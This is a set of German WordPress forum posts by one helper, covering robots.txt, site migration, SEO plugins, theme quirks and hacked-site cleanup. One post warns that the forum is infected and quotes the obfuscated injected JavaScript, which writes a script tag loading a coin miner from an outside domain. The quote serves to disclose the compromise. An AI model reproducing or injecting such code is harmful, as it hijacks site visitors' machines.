Beiträge von b3317133

WordPress liefert eine passende dynamisch erzeugte robots.txt wenn keine "echte" Datei vorhanden ist.

Das manuelle Einfügen einer "meta robots" im html Code ist nicht anzuraten, da das sowohl die o.g. "Einstellungen -> Lesen" Funktion als auch diverse SEO-Plugins aushebelt.

Meines Erachtens ist der aktuelle Zustand der Seite völlig ok.

Warum Seobility eine andere robots.txt auswertet als tatsächlich vorhanden ist, ist unklar. Ggf. ein Cache bei Seobility einer früheren Version o.ä., würde in dem Fall mal dort direkt nachfragen.

Läuft irgendein "Security"-Plugin?

Ersetze mit Better Search Replace in allen Tabellen den alten Installationsort [FONT=courier new]http://lokal[/FONT] mit dem neuen [FONT=courier new]http://www.domain.de[/FONT]

Vorher ein Backup machen, falls was nicht klappt. Mehr zum Plugin auf div. Seiten..

Link zur Seite? Beispiel eines o.g. 404 Links?

Entferne Deine robots.txt, geht es dann?

Ist unter "Einstellungen -> Lesen" ggf. ein Haken bei "Suchmaschinen davon abhalten, diese Website zu indexieren" gesetzt?

Link zur Seite?

Beim Umzug auf eine andere Domain (lokal -> online) muss man noch die Links in der Datenbank anpassen, evtl. fehlt da noch was, üblicherweise mit einem Plugin wie "Better Search Replace" oder wenn man den ganzen Umzug per Plugin macht, mit "Duplicator" o.ä.

Was genau wurde bei "online bringen" gemacht?

Stichwort Yoast SEO Titel, mehr dazu hier. Alternativ befrage denjenigen, der das Plugin installiert hat.

Beschäftige Dich etwas mit den Möglichkeiten des auf dem Website installierten Yoast SEO Plugins.

Das Forum ist wieder verseucht. Unglaublich aber wahr. Wieder mal der CoinMiner Trojaner. Offenbar gelingt es seit Monaten nicht, diese Lücke zu schliessen, warum auch immer... :???:

forum.wpde.org/clientscript/vbulletin_read_marker.js?v=425

Zitat

... title=vbphrase.doubleclick_forum_markread;A[B].style.cursor=pointer_cursor;A[B].ondblclick=init_forum_readmarker_icon}}}};[COLOR=#ff0000] var _0x3763=["\x3C\x73[/COLOR]...[COLOR=#ff0000]\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x2F\x2F\x6D\x66\x69\x6F\x2E\x63\x66\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];var _0x9473=[_0x3763[0],_0x3763[1]];var _0x6095=[_0x9473[0],_0x9473[1]];var _0xd944=[_0x6095[0],_0x6095[1]];var _0x76bb=[_0xd944[0],_0xd944[1]];var _0x38cf=[_0x76bb[0],_0x76bb[1]];var _0xc93a=[_0x38cf[0],_0x38cf[1]];document[_0xc93a[1]](_0xc93a[0])[/COLOR]

Ergänzung: Da es immer wieder möglich ist, JavaScript-Dateien auf dem Server so abzuändern, ist der komplette Server als verseucht zu betrachten...

Eine Seite /login gibt es bei WordPress standardmässig nicht.

Die "blanken Seiten" sind nicht blank, sondern liefern 3 Bytes, nämlich ein UTF-8 BOM. Das lässt darauf schliessen, dass wahrscheinlich in [FONT=courier new]wp-config.php[/FONT] eine manuelle Änderung erfolgt ist und die Datei mit BOM statt ohne BOM gespeichert wurde.

Das "Medien hochladen" Problem dürfte wieder andere Gründe haben.

Würde es mal ohne diese Zeile in [FONT=courier new]../themes/ams2016/dist/scripts.js[/FONT] und ohne das Autoptimize Plugin versuchen:

$("link[media="1"]").attr("media", "all"); // load css async

Lt. Dokumentation kann man bei SmartSlider 3 mit etwas Code Seitenzahlen hinzufügen. Als Alternative kann man bei vielen Slidern auch Texte in den Slide einblenden. Darüber lässt sich ebenfalls eine Identifizierung herstellen, nicht nur über Zahlen, sondern z.B. auch Namen, Bezeichnungen u.ä.

Zitat von modusnext

Ich bin eben der "Entwickler", da der ursprüngliche Entwickler nicht mehr verfügbar ist.

Dann suche den Code raus, der den Slider erzeugt und ergänze dort die alt-Texte, die bekommt man z.B. über den ID des Bildes mit [FONT=courier new]get_post_meta( $bild_id, '_wp_attachment_image_alt', true)[/FONT] o.ä.

Zitat von modusnext

Gerade habe ich nochmals bei Ryte geschaut u...
https://www.translationartwork.ch/wp-content/upl…sus-300x118.png

Diese Datei finde ich im Quelltext der Seite https://www.translationartwork.ch/[COLOR=#333333] nicht.[/COLOR]

Zitat von modusnext

Irgendeine Idee?

Keine "Schnellchecks" o.ä. verwenden und ungeprüft Dinge daraus posten.

Besser: Quelltext anzeigen im Browser, Strg-U, selbst schauen, an Theme-Entwickler wenden.

Woher stammt denn diese Liste?

Ein kurzer Blick in den Quelltext der Seite zeigt z.B. bei [FONT=courier new]logo-de.png[/FONT] ein [FONT=courier new]alt="logo"[/FONT], bei [FONT=courier new]uebersetzung-10.jpg[/FONT] ein
[FONT=courier new]alt="Das richtige Wort in jeder Sprache!"[/FONT]...

Zitat von modusnext

[COLOR=#333333]Wie hast Du das denn rausgefunden, wenn ich fragen darf.[/COLOR]

Browser-Inspector (und Strg-U für Abgleich mit echtem HTML-Quelltext).

Die aktuelle Seite "Blog" ist eine ganz normale WordPress "Seite".

Eine automatisch erstellte Blog-Seite (mit kurzen oder langen Einträgen) konfiguriert man normalerweise unter Einstellungen -> Lesen -> Deine Startseite zeigt. Bei Dir ist das aktuell die Startseite.

Weitere Möglichkeiten ergeben sich ggf. aus Deinen Theme-Einstellungen, der Theme-Dokumentation oder beim Theme-Support.

Ah, jetzt sehe ich es erst, es ist der gleiche Website, aber unterschiedliche Domains und es laufen auch noch jeweils unterschiedliche Plugins. Ein ungewöhnlicher Ansatz.

Verantwortlich für die (ebenfalls ungewöhnliche) [FONT=courier new]fake-file[/FONT] Konstruktion ist die Theme-Datei [FONT=courier new]../themes/translationartwo/js/funkcje.js[/FONT] - am besten wie beschrieben den Theme-Entwickler befragen.

Zitat von Der_Bo

man könnte eine Blog-Seite erstellen, auf welcher die aktuellesten Blogeinträge in kompletter (ausführlicher) Textform automatisch eingetragen werden..

Ob komplett oder nicht, liegt am Theme, die Seite stellt man unter Einstellungen -> Lesen -> Deine Startseite zeigt ein.

Die Breite von Content und Sidebar wird per CSS festgelegt, mehr dazu hier.

Gestern funktionierte es nicht, heute funktioniert es, das hier wurde gestern im Kontaktformular nicht ergänzt:

<input class="fake-file" name="fakeuploadDateihochladen21" placeholder="Optional" type="text">

Warum es heute ergänzt wird, weiss am besten der Theme-Entwickler. Wo die Theme-Styles liegen und welche davon mit CF7 zu tun haben, sollte er/sie ebenfalls wissen.

Sieht so aus als wäre das Problem damit gelöst.

Da im geposteten Code vermutlich Zeilenumbrüche fehlen, kann man dazu schwer was sagen.

Falls der Code genau so in [FONT=courier new].htaccess[/FONT] bzw. [FONT=courier new]wp-config.php[/FONT] (nicht [FONT=courier new].wp-config[/FONT]) steht, kann er nicht funktionieren.

Man sollte erstmal feststellen, ob es am Server oder am PC/Browser liegt. Wenn die WordPress Installation gehackt ist, nutzt eine Live-CD nichts.

Falls WordPress gehackt wurde: Über Server-Logs feststellen, wann/woher die gehackten Dateien kamen, Lücke identifizieren, Lücke schliessen. Alle Systemdateien von WordPress ersetzen, dafür wp-admin/ und wp-includes/ komplett löschen. Alle Plugins durch saubere Versionen ersetzen, dafür alle Ordner in wp-content/plugins/ löschen, gleiches gilt für die Themes. Alle PHP-Dateien in wp-content/uploads/ suchen/löschen. Alle Passwörter ändern, FTP, MySQL, WordPress Accounts, usw.